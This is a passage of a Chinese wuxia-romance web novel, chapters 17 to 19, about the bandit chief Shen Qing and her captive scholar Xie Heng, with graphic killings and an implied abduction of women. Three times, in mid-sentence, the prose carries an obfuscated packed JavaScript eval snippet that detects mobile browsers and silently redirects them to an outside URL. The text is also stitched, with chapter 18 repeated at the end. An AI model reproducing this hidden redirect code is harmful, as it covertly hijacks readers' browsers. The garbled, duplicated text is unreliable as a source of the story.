孟渊也定下心来,一面继续用刀横拦着谢珩,一面扬手招呼兄弟们:“把这几个娘们统统给我拖回去,好好给兄弟们开开荤!” 早就已经虎视眈眈的一群匪徒,得到号令后一个个像饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931926|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼扑食般冲向毫无招架之力的瘦弱女子,谩骂声,大笑声,喊叫声,还有哭嚎声……乱成一片。 “你们这群畜生!” 谢珩不顾一切推开孟渊,想上前去搭救那些女子,孟渊也不敢真正伤他,锋利的刀口落下只在他手臂上划出一道伤口,鲜血像浸染在雪地上那般顿时染红了他的白衣。 “萧瑞,带几个人去给我把他摁住!” 见他冲了出去,沈青连忙下令控制住他,刀剑无眼,难保不会有人浑水摸鱼趁乱下黑手。 她远远看着,混战中,也不知他哪来这么大力气,竟还能一手一个将那些对女子下手的匪徒都扒拉开来,只是到底寡不敌众,他再怎么迸发全身的力量,也只是杯水车薪罢了。 萧瑞带的人很快将他架住。 他再没了往日斯文,对着萧瑞一顿劈头盖脸:“萧瑞!枉你这些日子苦习圣贤书,却干着助纣为虐的禽兽事!你不配!” 萧瑞不敢对上他一双盛满怒意和悲凉的眼睛,硬着头皮说了一句:“我都听大哥的。” 地上的几名女子很快被衣衫不整地拖走了,渐渐连她们的悲泣声都再也听不见,只有匪徒们兴奋的喊叫声还格外刺耳,谢珩也脱了力,像行尸走肉一般任他人架着自己走。 混沌中,不知过了多久,眼前渐渐出现小金顶的景致。 手脚的束缚被松开,他踩在松软雪地上竟不稳,踉跄了好几步,袖中指尖攥得更紧,是他始终没有启动的玄关机巧。 如果可以,他真想,真想将这恶匪头子就地绞杀。 沈青见他如此失魂,叹了口气想上前扶他,却被他挥袖一把拂开。 “你的本质跟其他山匪并无区别,对你抱有一丝不切实际的期望,真是我这些日子来天大的过错。” 沈青自接手莽山来,比这难听的话不知听过多少,偏偏这几句话,刺得她心口一阵密密麻麻的痛。 她也被刺得自然没什么好语气:“你看渝州已经够乱了,但天下乌鸦一般黑,庾闻是江州都尉,我手下好几个兄弟先前都是江州人,好好在家老实本分的种田人,就是被这个庾闻的贪横暴政害得家破人亡,侥幸活了下来,几经周折到了我的手下,这人今日既然撞上来了,宰了他也没错。” 谢珩已经不想跟她争辩朝廷法度的问题,他只质问:“那女眷何辜?稚子何辜?” 沈青跟他分辨:“我已经约束了我的手下,不许他们滥杀无辜,其他山寨想怎么样,我管不了。” “你们放任他们的禽兽行径,跟他们又有什么分别?” 沈青一口气就上来了:“对啊,我本来就是山匪,你还想要我怎么样?牺牲我几十个兄弟的命来舍生取义拯救无辜吗?这是官兵、是你口中所谓君子该做的事情,不是我们这样的禽兽要做的事情。你这个人,简直就是跟你那个族兄一个模子里出来的,永远把所有事情按自己的意愿想得那么理所当然!” 她愤愤吼完这一大堆,再无法多看一眼谢珩那张沉沉俊容,自己先转身走了个干净,脚下的厚厚积雪,被她一双黑靴踢得四处飞溅。 谢珩顿在原地站了一会,冰天雪地里,他也好像坠入无尽的冰窖之中。 周围不少看着这一幕的兄弟们都纷纷议论起来。 赖三也凑到萧瑞耳边认真询问:“这小子竟然把老大气成这样,咱们要不要帮老大把他宰了?” 萧瑞若有所思地摸了摸下巴:“我看……不必。” 18. 第 18 章 跟谢珩这么大吵了一架后,沈青被气得一阵阵肝疼。 好在这次劫了庾闻,确实到手了一大笔金银财物,除了犒劳兄弟们同时,她还特别花重金请了个专门给达官显贵做菜的厨子上山,山珍海味不带重复地给她做了三天大宴。 喝着小酒,品着珍馐,这时候就能体现出有银子的妙处了,有银子就是可以在心情不好的时候吃着熊掌鲍鱼来撒气,要是没银子心情不好……只能抱着自己嗷嗷哭了。 兄弟们也陪了几天,实在是有点无福消受,虽然跟着老大天天吃的都是以前想都不敢想的好东西,但他们真吃不饱啊,就说这个什么金丝燕窝吧,吞好几碗下肚,又尝不出味,还不填肚子,真不如给他们来一碗猪肉粉条实在。 赖三用大海碗喝了一碗什么什么紫玉酒,听说要百两银子一斛呢,此时他无比怀念寨上自己酿的高粱酒,终于鼓起勇气向沈青提议:“老大,你这天天借酒浇愁的,要我看,咱们还是把那谢十三直接宰了,一了百了。” 有了几分醉意的沈青呢喃应和:“谁说我借酒消愁了?老子现在高兴得很!去,去把他宰了,眼不见为净,一了百了!” 兄弟们也纷纷附和,在座的只有萧瑞扶额头疼:“大哥,这几日谢十三都没来给我讲学,我功课又要落下了,本来我就启蒙晚,现在耽误的每一天都是很宝贵的。而且听说这个谢十三,这几天都没吃东西来着……” “他这几天都没吃东西?” 见他如此准确地抓住重点,萧瑞立刻绘声绘色描述起来:“是啊,自从那天他回屋后就一直把自己关在屋子里不见人,也不吃不喝,他那平时过惯锦衣玉食日子的人,恐怕抗不了几天。” 沈青听得情不自禁地点了点头:“他这种锦衣玉食富贵堆里长大的人,哪懂我们这些土匪刀尖舔血讨生活的苦日子。谁也不许给他送吃的,先把他饿晕了再说!” 萧瑞:“……行吧。” 饿晕总比被宰了好。 * 在谢珩不吃不喝的第七日,沈青终于按捺不住,青衣秀挺,出现在他所住的那间木屋前。 这几日一直没有覆下新雪,木屋前阶下积雪如旧,一点儿人迹也没有。 暮色下来,屋中更加昏寂,油灯静静立在桌边,无人去添一盏灯火。 窗前还剩一点微光,透映出一副单薄清雅的剪影。 谢珩人在窗前,半低着头,手中握了一只小木勺,只专注于一点一点将膝上几只嗷嗷待哺的小雏鸟喂饱。 仅这几日的时光,小雏鸟们先后都睁了眼,小小圆鼓鼓的黑眼,滴溜溜的很是有神。 他总是会想到,沈青喝醉了没什么意识的时候,在雪堆里捡到它们,便嚷着要给它们做阿娘;醒来后明明嫌弃它们难看,可是在碰它们的时候又那么小心翼翼。 这些反应都是骗不了人的。 为什么一个对弱小生命都有怜悯之心的一个人,面对活生生的人时,又有那么近乎残忍的冷酷? 谢珩彻底迷茫了。 一个悍匪,可能本性中会有良善的一面,可终究也还是个悍匪。 黄昏最后一点微光早早退去,只剩雪色照应,立在眼前的木屋更加黑咕隆咚。 沈青终于一脚踩上被松软白雪覆满的木阶,身子抵在门口,声音还算轻缓:“谢十三?” 里面无人回应。 她尴尬地轻咳了两声:“那天我说话是冲了些,可你不是也凶了我吗?我们……” “滚!” 沈青面色一沉,一脚踹开木门。 屋子里黑黢黢的,她环顾四周,在窗边看到个隐约身影,踟蹰了一下,还是先点燃桌上烛火。 借着憧憧烛光看清窗边玉容时,她不由得心中一惊,才几日不见的光景,谢十三原本就清瘦的一身,几乎有些单薄得不胜衣重的姿态了。 一张玉容,明明是病态得没有颜色,却显得更有几分不食人间烟火的轻透绝俗。 知道他这几日水米未进,沈青也算有备而来,将一碗白米佐了小菜熬成的清粥端到他嘴边。 “把这喝了。” 谢珩连看了没看一眼,缓缓将脸瞥到一边。 沈青也不废话,抬手一把捏着他下巴,将粥碗抵到他嘴边就开始灌,不料这人虽然七日没吃东西,执拗起来力气可真大,他抵死挣扎间,她一只手竟然没有摁得住他,手上那只盛满热粥的碗被打翻,砰然一下摔得七零八碎,溅得满地都是,一片狼藉。 “谢十三!” 沈青终于忍不了,揪了他的衣襟一手在空中抡起拳头:“老子给你脸了是吗?” 她向来不惧别人对她如何敌视和谩骂,但绝对不能接受有人竟视她为空气。 她逼视他的双眼,这下终于看清那样一双好看的眼睛,不见往日清润,无喜无怒,濛濛一片的灰败。 被她扯得凌乱的衣襟下,赫然露出一道疤痕,是那日被孟渊用刀抵的,已然结痂,无比狰狞地印在雪色肌肤上。 沈青心中顿生恻然,一只拳头顿在半空,怎么也落不下去。 这要是换成别人,早就不知死了多少回,现在面对谢十三,她发觉自己居然下不去手。 他冷漠无视的样子真恨不得一把将他撕个粉碎,可他支离憔悴的样子又让人只想一点一点细细将他拼凑起来。 沈青心头上好像有无数只小虫子在爬上爬下四处啃食,她从未有过这样迷茫又无力的情绪。 真想一拳打点什么! “阿青!” 身后忽然有人喊住她,然后她那只高高举起的拳头就被岳瑛拽了下来:“好好的让你来送些热粥,这么凶做什么?” 岳瑛本来是劝着沈青过来缓和一下的,不然谢十三可真的绝食而亡了,没想到她刚到门口,就看到这么剑拔弩张的一幕。 “你先冷静一下吧。” 沈青再多一瞬都待不下去,甩开谢珩,拔腿就走:“他要活就活,想死就死!” 一句话说完,人影早就循着话音消失在门外。 屋中再次清净下来,岳瑛叹了口气,往案几上摆了一碟刚出炉还冒着热气的马蹄糕,晶莹澄亮,清香扑鼻,是经典的洛京风味,但也绝不是洛京普通百姓能吃上的餐中食物。 她就守着这马蹄糕蒸好的这会儿功夫,两人险些打了起来。 “公子何必自苦于此呢?” 谢珩还是就着刚才被沈青甩开的姿势靠在窗沿边,不闻也不答。 岳瑛也不恼,又替他倒了一杯热茶:“公子现下对沈青有怨气,又何尝不是因为对她有偏见呢?” 有偏见? 谢珩清淡麻木的眉眼间,终于隐隐有了一丝不耐的戾气。 他望了一眼摆在手边的马蹄糕,哑声询问:“冒昧问一句夫人,卿本佳人,奈何从贼?” 他听闻,这位夫人被掳上山时也是万般反抗不肯屈就,现在却要反过来替作恶的人当说客? 面对谢珩探过来的审视目光,岳瑛垂了眼眸:“虽然我和你都是被迫上了这小金顶,但归根结底,我和你确实完全不一样。” “三岔湾的事情我听说了,你的所见所闻,正是我的切身经历。” 谢珩震惊抬眸望她,终究没有打断她的话,继续静默地等待她的下文。 “当年我父亲被流放,带着家小途径三岔湾,所有财物被洗劫一空,我的父母兄弟,也被当场灭口。若不是阿青出手,我恐怕也同当日那些女子一样被贼人掳去那般下场。” 岳瑛极力压抑住声音中的颤抖,如诉生前事。 “那天我最终活了下来,我这条命也是莽山十几位弟兄的命换来的。后来我才知道,渝州各匪寨之间自有规矩,坏了规矩,是要用流血作为代价的。阿青遇到我,正好是她执掌莽山后第一次参与三岔湾的行动,那次救下我流血的代价太大了,大到她再也没有贸然去破坏规矩。” “以你当日所见之情景,若是要救下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943528|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些无辜女子,阿青必定要与其他山头再次交恶,阿青不愿重蹈覆辙没有出手,你会生气,就是因为你的偏见,在你心中,无辜妇孺的性命要比小金顶上土匪的性命高贵得多。” 岳瑛一语点破,谢珩脑子里轰然想起那天沈青最后对他说的话,舍生取义,是君子所为,不是土匪所为。 他还是不解:“即便沈青最后救了你,可最开始不是因为他联合其他匪寨的人围劫了你和你的家人吗?” 岳瑛笃定反驳:“她没有参与围劫我的家人。” 她无奈叹息:“平日看你是个心细如发的人,今日才知你满心偏见全然不自知。公子在小金顶上也待了这么久,无论莽山还是三岔湾,往来过路总有行人,可这么多天来,公子难道没留心过,阿青也只有在那天出手围劫?” 谢珩沉吟思索,想到的还是沈青的原话,没有钱财和长相不好的,她也不会去动。 可能这么多天,只有庾闻能入了他的眼吧。 “公子对阿青可以继续选择眼盲心盲,或许也可以试着去看一看莽山兄弟何其清苦又何其忠心,莽山女匪是从何而来,还有莽山每次出手打劫的都是何方人物……” 岳瑛直到要一时扭转一个人的偏见是很难的,没有再多说下去,只最后再提点了一句:“公子一心寻死,最大的意义不过是阿青或许会生气难过几日,然后很快也会忘了这回事。活下去,才是有意义的。” 等她掩门离开,谢珩又被重留于一个人的世界。 空荡荡的房间重新归于沉寂,几只小雏鸟似乎吃饱也不再发出细细弱弱的鸣叫,桌上那簇烛火明明暗暗跳动着,忽然灯芯一闪,一颗小火花飞溅出来,落在桌面上又熄灭了。 一直守在窗边那道纹丝不动的身影终于坐直了身子,端起手边半冷了的茶,缓缓喝下去。 久违的甘甜打开了味蕾。 他并不是要做绝食明志的壮举,也没有求死之心,只是实在食难下咽,不如不吃。 岳瑛的一番话忽然让他清醒了不少,与其说他是在跟沈青抗议,莫不如说是他在惩罚自己。 身为渝州官员,在渝州地界上,他不能护佑同僚和无辜女子的性命,此是一罪。 其二是,自始至终,他袖里玄关中的银丝,从未出袖。 所以他对沈青真是满心偏见? 他自诩君子,那样关头,权衡之下,尚且做不到舍生取义,却在怨怼一个山匪没有舍命救人? 这么一看,还真是很难分出个高低贵贱出来。 他在心底冷笑一声,觉得这幽幽烛火实在扰人心绪,抬手捻灭了灯芯,房中顿时一片漆暗。 这几日他也没怎么好眠过,实在困了,也只是合目浅寐一番,实在是白雪上幼童的鲜血、空旷山谷里女子绝望的悲号,时时入梦。 这是让人一生都不得好眠的噩梦。 砰—— 木门一下被人从外面轰然踢开,谢珩猛然睁眼,窗外竟然已经有了晨曦的微光。 随着门外吹进来的一股冷风,他也看清那道昨日愤然离去的青影。 “谢十三,我还就不信我治不了你!” 刚坐起身,他的手腕就被沈青紧紧攥住,直把他往下拖。 “你做什么?” 他下意识用力一推,没想到竟轻而易举将人推开了。 沈青痛得倒吸一口冷气,直揉自己手腕:“走,你现在跟我下山!” 谢珩目光落在她手上还缠着的绷带上终于微缓了语气:“下山去做什么?” “去打劫啊,总不能天天吃喝玩乐然后乐不思蜀吧?” “……不去。”谢珩刚缓了些的语气瞬间冷硬。 沈青气得又上前一把拽他:“进了我这土匪窝,去不去,由不得你!” 谢珩还要挣扎,只是视线总是不由自主望到她腕间的绷带上,这么多天过去,竟然还肿得缠了好几圈绷带。 “你放开我,我自己会走!” 19. 第 19 章 今日路程不远,沈青只随手点了几个兄弟,连赖三和萧瑞都没带上,不紧不慢下了小金顶。 见谢十三一路垮着个脸,一直静默地跟在身后,两人走了一路,只有脚下沙沙碎雪的声音陪伴一路,一路无言中显得格外刺耳。 直到下了两座山头,她终于按捺不住试着打破沉默:“知道我们前面要去的地方是哪里吗?” 谢珩打眼略一观察:“青煞口?” 这是渝州官兵尚能掌控的最后一道地界,过了青煞口,就彻底是莽山也就是沈青的地盘了。 沈青点了点头:“看来你跟在你族兄身边,也是有些见识的。原来这里叫青阳口,听起来也太普通了,多亏有我,都说进了这当口,就能感受到坐地一只虎沈青的煞气了,不知不觉,这里就变成了青煞口,你听是不是比青阳口好听多了?” 谢珩冷冷瞥了她一眼:“你还挺以此为傲。” 她勾唇一笑:“什么时候哪个山头用你的名字来命名,那你也会骄傲的。” 谢珩没再搭话,继续沉默地走在一旁。 方才两人一问一答,有来有回,让沈青安心不少,至少这个谢十三是肯开口理人的了。 天色尚早,所行之处,有不少被昨夜积雪压弯了的翠竹,沈青随手折了一根青竹竿放在手上把玩,脚下步伐也变得轻快,整个人悠哉得好像要去踏雪寻梅。 感受到身边这人浑身一根弦紧绷着,她忍不住出声宽慰:你不用这样紧张,这里是莽山地界,我们莽山还是很有原则的,打劫的时候,一般只谋财,不害命,你别怕就是了。” 谢珩依然沉默着,昨日岳瑛的一番话,虽然让他冲解了些许怨念,但也绝不代表他可与这悍匪苟同。今日下山,他倒要看看,沈青又准备用什么来冲击他。 青煞口是有官兵驻守的,他难道还准备当着官兵的面公然打劫吗? “到了。” 思索间,沈青忽然一把拉住他的衣袖,随便找了个堆满积雪的矮树丛做掩护,又是令人熟悉的埋伏。 垂眼便能清楚地看见官兵的哨岗,以及身着软甲盔袍来回走动巡逻的士兵。 今日云中淡淡出了一层日影,虽然同样是躲在雪中埋伏,身上感觉似乎没有那日那般寒冷。 四周安静得诡异,再凝神一些,几乎能听见哨岗那边士兵们互相说话的声音。 直到日头终于慢慢浮出云层,茫茫天地间被照得一片雪亮,除了哨岗的声音,终于也稀稀落落听见了行人赶路的声音。 沈青扬起下巴,略微清点了一下,一路来了数十多个人,男男女女,看衣着打扮,丝绸棉麻布衣各不相同,应该是各路不同的人,过莽山的时候结伴而行,好壮个胆。 这些人过了哨岗,被几个士兵拦着稍微例行检查了一番,确认不是进山投匪的,才放行过来。 她冷眼看着这群人小心翼翼穿过哨岗正一步一步往这边过来,都不用多看,她都能感受到身边的谢十三整个人简直已经紧绷成一尊泥塑的菩萨。 她忍不住故意道:“好戏还没真正开始,你现在紧张太早了。” 谢珩一张俊脸阴沉得厉害,他喉结动了动,再次确认:“你说过,不会伤人性命。” 沈青痛快点头:“放心吧,我肯定不会伤他们性命的,至于别人嘛……那我就不能保证了。” 谢珩心口骤然缩紧:“你又这样!” 那种熟悉的残酷与无奈再次涌现,他愠怒起来,连额角青筋都隐约可见。 见美人动怒,沈青忙抿紧了嘴,不再多说。 这会轮到谢珩不依不饶:“你说清楚,到底想做什么。” “诶,你说你要是平时也这么缠着我,那该多好。” “人命关天,我没心情跟你开玩笑。” “那你自己慢慢看啊!” 看在他俊美无双的面子上,这样的恶劣态度,在整整三句话后,沈青的好耐心彻底被消耗完,最后也只扔下一句话,就撇过头去懒得再多搭理他。 谢珩没抱希望他能好好说明白,强按捺着一身愠怒,指尖默默扶上袖中机巧。 青衣掩映下,白皙纤细的后颈就在眼前,若再蹈覆辙,这次他绝不会手软! 沈青对身后那道寒凉杀意毫无察觉,正托腮闲看一行人慢慢从眼皮底下走过。 “刚过去的,等一下!” 忽然哨所出来一队士兵,又将人喊住,过路人不敢说话,三三两两低着头退开一些。 “军爷,方才不是都检查过了吗?请问还有何指教啊?”中间站出来一个穿着黑色锦袍的中年男子,看起来稳重谨慎模样,应该是这群人中领头的,恭敬地弯着腰应付起来。 士兵中为首的一个行长抬手往那群过路人中点了几下:“方才那几个女的,还没仔细检查,要重新检查一遍。” 黑衫男子为难地看了一眼身后的几个女子:“军爷,这都是几个低贱的农妇商妇,就算要投匪,人家也不要啊。” 说着他又熟练地从袖中摸出一个鼓鼓囊囊的荷包往行长手中塞:“诶呀都怪我,方才孝敬的那点哪够,军爷们再多添些酒菜吧。” 行长接过荷包在手中掂了掂,露出一个满意的笑,紧接着,他依旧抬手招呼自己手下:“这大路上几名女眷搜查起来很不方便,把她们都带到营中去好好搜查一番,不要错过她们身上任何可能投匪的信息。” 得到指令的士兵们立刻一哄而上,吓得众人抱头乱窜,尤其是那几位妇人的丈夫,更是拼了命要护着自己女人。 混乱中,那黑衣男子迅速又献上几包银子:“几位军爷,这些都是跟在下一起回乡的同乡,我们都是绵州人,回乡只是途径此地,绝对没有投匪的人,求各位军爷高抬贵手,放我们通行吧!” 行长继续将收了银子放入袖中,然后面不改色看着自己手下肆意妄为。 普通百姓哪里是军中士兵的对手,一会儿的功夫,地上七零八落已经躺了好几个人,到处都是哭喊和哀嚎。 一位看起来清秀白皙的女子被好几个士兵或拦腰抱住或拽着胳膊,生生将她往后面拖。 本来她的丈夫已经满口是血受伤倒地,看到妻子哭着喊他,他也硬撑着用两只手爬了起来:“我要跟你们拼了!” 他踉踉跄跄冲过去,雪地上留下一路鲜红淋漓的血。 “奶奶的,还真有只要女人不要命的!” 一个士兵骂骂咧咧拔出长刀,对准了人胸口就捅过去。 “不要!” 好几处的声音异口同声喊了出来,沈青白眼一翻,很明显身边谢十三喊的这一声,立刻就暴露了他们的藏身之所。 但也是在谢珩声音响起的一瞬,她人已经轻点足尖飞身出去,方才手上被她把玩了一路的竹竿瞬间从那个拔刀士兵的喉头穿喉而过,又重新血淋淋回到她手中。 直到她稳稳落在地面上站住,身后一片雪地竟没留下半点痕迹。 青衣玉立雪中,衣摆随风烈烈张扬,唯有手中青竹,蜿蜒滴落的鲜血,开出红梅。 由于那士兵的死状过于可怖,周遭所有人都如同石化一般定在那儿,还是行长率先反应过来:“快,回去叫人。” 抓住那个清秀女子的几名士兵率先松手,争先恐后地往哨岗跑,沈青连眼睛都没有眨一下,手中竹竿率先脱手飞出,人也紧随其后,生生从两人胸口一前一后当胸而过。 还剩一个侥幸跑脱,沈青竹竿运力一甩,几个小雪球准确无误追上他后脑勺,那人身子还没来得及倒地,脑浆已经四下迸裂。 饶是从军多年,行长也没见过这样狠绝残忍杀人于瞬间的手法,他强压着恐惧,声音颤抖着从牙缝里溢出来:“阁下是什么人?竟然敢对官兵出手?” 沈青懒懒地用竹竿点了点地面:“按理说,这里应该算是我的地界了吧?” “你……你是沈青?” “这很难看出来吗?你还见过比我武功更高的人?”她摊手笑了笑,可不放过任何一个显摆的机会。 行长鼓起勇气将她上下多打量了几眼,大概见她单瘦又年少,于是多了几分底气:“沈寨主,普天之下莫非王土,即便莽山,那也是渝州的地界。今日你手上多了官府人命,如果……如果你就此罢手,那我们也绝不再追究,大家继续井水不犯河水,不知沈寨主意下如何?” 沈青微蹙了一下眉头,最烦这种不知死活还话多的人。 “我手上官府的人命还差这几条?拜托,我们都已经杀起来了,那今日肯定不是你死,就是你死。” 她慢条斯理说着,行长果断拔刀:“都给我一起上!拿下悍匪沈青,咱们就立大功发大财了!” 剩下几名士兵听令,纷纷铆足一口气举刀从四面围杀过来,沈青手上的竹竿在她掌心绕了个剑花,卷起杀气掠过鬓边碎发。 “正好省得我一个一个来解决。” 几把短刀逼近瞬间,她腾空用双足在几人手上转了一圈,亮晃晃的刀身都纷纷被收进了刀鞘。 灵动身影在空中如青燕一般回身,抬手起落几下,竹竿重重敲上每一个人的天灵盖,隔得近一些的话,能清晰听见头骨碎裂的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952958|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯有行长偏头躲过那致命一击,沈青眼风一扫,竹竿一回,也随之横扫过他的脖颈,只见那副魁梧的身子,松松垮垮吊着个脑袋倒了下去。 沈青这才抛开手中竹竿,回身,立定,气收。 不过须臾之间,场上官兵已无人生还,雪地上横七竖八还淌着温血的尸体,跟那天在三岔湾的场景很像。 这已经是谢珩眼看着沈青第三次出手了,这次不再是出其不意的瞬间爆发,而是以一敌多的实力比拼。 起落周旋的身影,竟有几分轻拢慢捻抹复挑的音律节奏之美,原来世上有人杀起人来,可以美如仙乐。 拥有这样天资的人……不知为何,他脑海里忽然一下就想到沈青那个不为人知的“隐疾”,上天果然还是公平的。 予他一长,必定要给他一短。 沈青立定在雪中,终于慢慢收敛起周身杀意,眉眼一弯,又变成唇红齿白人畜无害的俊俏公子。 她带着和煦笑意,望向早就吓趴在地的黑衫男子:“你就是左思禄吧?” 被唤作左思禄的男子这才如梦初醒:“恩……恩公,不是不是,见过沈寨主。” 见他被吓得人都爬不起来,沈青语气更和善了一些:“你看看同行的人都在不在,没少人的话咱们就赶紧走,等哨所那边的人发现不对劲……算了,那群废物也不能拿我怎么样。” 左思禄终于哆嗦着身子勉强爬起来站稳,虽然传说中的沈青并不是想象中青面獠牙的样子,但他也真是不敢抬眼看她,惊魂未定地回头勉强点清人数:“沈寨主,人都是齐的。” “好,兄弟们,送他们上路!” “是!老大!” 兄弟们齐声一喊,可怜这些过路人,看着不知从哪冲出来的一群莽汉,喊着要送他们“上路”,再次被吓得抱头痛哭,那叫一个哀嚎遍野。 沈青真心疑惑:“咋了?有这么吓人?……行吧,那就给你们看个不吓人的吧。” 她被吵得耳朵烦,扭头扬声:“谢十三!” 方才谢珩怕被军中有士兵认出一直没露面,被她这么一喊,他才缓缓从隐蔽的矮树后侧身出来。 雪色照映,玉人翩然而立。 惊恐绝望的哭嚎哀泣渐渐低停,一双双眼睛安安静静望着白衣玉立的公子,仙姿不染凡尘。 无论看多少次,沈青总是会为这样的忽然又一见而感到眼前一亮,正好也对上他一双有星河流转的眸子。 可惜那样一双好看有神的眸子,写满了疑惑和一丝不愿放松的警惕。 在他开口质问以前,她抢先一步遏制住他的话头:“放心,这我收了买路钱的,我罩着他们。” “原来如此。”谢珩眉眼平淡,微松了口气,这才合理。 左思禄趁机在沈青还有耐心的时候赶紧开口安抚同伴:“各位乡亲们别怕,这位沈寨主是……专门来护送我们的。” 也怪他,在土匪的地界请了一群土匪来护送,这事他一开始也没跟同行的人说,好在这白衣公子出现,恐慌的情绪暂时得到了缓解。 一行人互相搀扶着,瑟瑟缩缩离沈青远远站着,谁也不敢多抬一下眼皮,生怕不小心跟她对视上,被她生吞活剥了去。 沈青浑然看不见一行人都快抖成筛子了,还大咧咧向人招手:“走吧,都跟着我走吧!” 她不招手还好,一招手,一堆人又往后退了老远。 可是后面横七竖八躺的都是死尸,也无处可去。 左思禄鼓起勇气小心开口:“要不沈寨主您就带着兄弟们往前走,我和老乡们在后面跟着,那些官兵就算追来了,有您在前面镇场子,还有谁敢不长眼上来轻举妄动?” 不错,这话听着顺耳极了,沈青欣然答应,领着兄弟们出发,大摇大摆走在自家领地上。 直到众人见谢珩那道不染纤尘的身影也跟在沈青身边,大家才敢壮着胆子,慢慢保持一段距离也慢慢跟了上去。 绕着莽山脚下穿行了许久,除了踩在雪地上咯吱不齐的脚步声,大家都敛声屏气,连重一点的呼吸声都听不见。 沈青感觉自己腕上隐隐作痛,低头才发觉缠在上面的绷带松散开了,原本在慢慢消肿的手腕这会儿又肿了一大圈,没办法,只能等回小金顶让岳瑛给重新包扎一下了。 只是越往前走,手上就越发疼得厉害,竟然比前些天刚受伤那会还要钻心地疼,她咬咬牙,干脆把两只手揣在怀里兜着走。 谢珩走在她身边,目光追随她松散下来垂散一端的绷带看了会,忽然轻声开口:“有些累了,不如休息一下吧。” 第18章【VIP】 第18章 第18章绝食七日 跟谢珩这么大吵了一架后,沈青被气得一阵阵肝疼。 好在这次劫了庾闻,确实到手了一大笔金银财物,除了犒劳兄弟们同时,她还特别花重金请了个专门给达官显贵做菜的厨子上山,山珍海味不带重复地给她做了三天大宴。 喝着小酒,品着珍馐,这时候就能体现出有银子的妙处了,有银子就是可以在心情不好的时候吃着熊掌鲍鱼来撒气,要是没银子心情不好……只能抱着自己嗷嗷哭了。 兄弟们也陪了几天,实在是有点无福消受,虽然跟着老大天天吃的都是以前想都不敢想的好东西,但他们真吃不饱啊,就说这个什么金丝燕窝吧,吞好几碗下肚,又尝不出味,还不填肚子,真不如给他们来一碗猪肉粉条实在。 赖三用大海碗喝了一碗什么什么紫玉酒,听说要百两银子一斛呢,此时他无比怀念寨上自己酿的高粱酒,终于鼓起勇气向沈青提议:“老大,你这天天借酒浇愁的,要我看,咱们还是把那谢十三直接宰了,一了百了。” 有了几分醉意的沈青呢喃应和:“谁说我借酒消愁了?老子现在高兴得很!去,去把他宰了,眼不见为净,一了百了!” 兄弟们也纷纷附和,在座的只有萧瑞扶额头疼:“大哥 ,这几日谢十三都没来给我讲学,我功课又要落下了,本来我就启蒙晚,现在耽误的每一天都是很宝贵的。而且听说这个谢十三,这几天都没吃东西来着……” “他这几天都没吃东西?” 见他如此准确地抓住重点,萧瑞立刻绘声绘色描述起来:“是啊,自从那天他回屋后就一直把自己关在屋子里不见人,也不吃不喝,他那平时过惯锦衣玉食日子的人,恐怕抗不了几天。” 沈青听得情不自禁地点了点头:“他这种锦衣玉食富贵堆里长大的人,哪懂我们这些土匪刀尖舔血讨生活的苦日子。谁也不许给他送吃的,先把他饿晕了再说!” 萧瑞:“……行吧。” 饿晕总比被宰了好。 * 在谢珩不吃不喝的第七日,沈青终于按捺不住,青衣秀挺,出现在他所住的那间木屋前。 这几日一直没有覆下新雪,木屋前阶下积雪如旧,一点儿人迹也没有。 暮色下来,屋中更加昏寂,油灯静静立在桌边,无人去添一盏灯火。 窗前还剩一点微光,透映出一副单薄清雅的剪影。 谢珩人在窗前,半低着头,手中握了一只小木勺,只专注于一点一点将膝上几只嗷嗷待哺的小雏鸟喂饱。 仅这几日的时光,小雏鸟们先后都睁了眼,小小圆鼓鼓的黑眼,滴溜溜的很是有神。 他总是会想到,沈青喝醉了没什么意识的时候,在雪堆里捡到它们,便嚷着要给它们做阿娘;醒来后明明嫌弃它们难看,可是在碰它们的时候又那么小心翼翼。 这些反应都是骗不了人的。 为什么一个对弱小生命都有怜悯之心的一个人,面对活生生的人时,又有那么近乎残忍的冷酷? 谢珩彻底迷茫了。 一个悍匪,可能本性中会有良善的一面,可终究也还是个悍匪。 黄昏最后一点微光早早退去,只剩雪色照应,立在眼前的木屋更加黑咕隆咚。 沈青终于一脚踩上被松软白雪覆满的木阶,身子抵在门口,声音还算轻缓:“谢十三?” 里面无人回应。 她尴尬地轻咳了两声:“那天我说话是冲了些,可你不是也凶了我吗?我们……” “滚!” 沈青面色一沉,一脚踹开木门。 屋子里黑黢黢的,她环顾四周,在窗边看到个隐约身影,踟蹰了一下,还是先点燃桌上烛火。 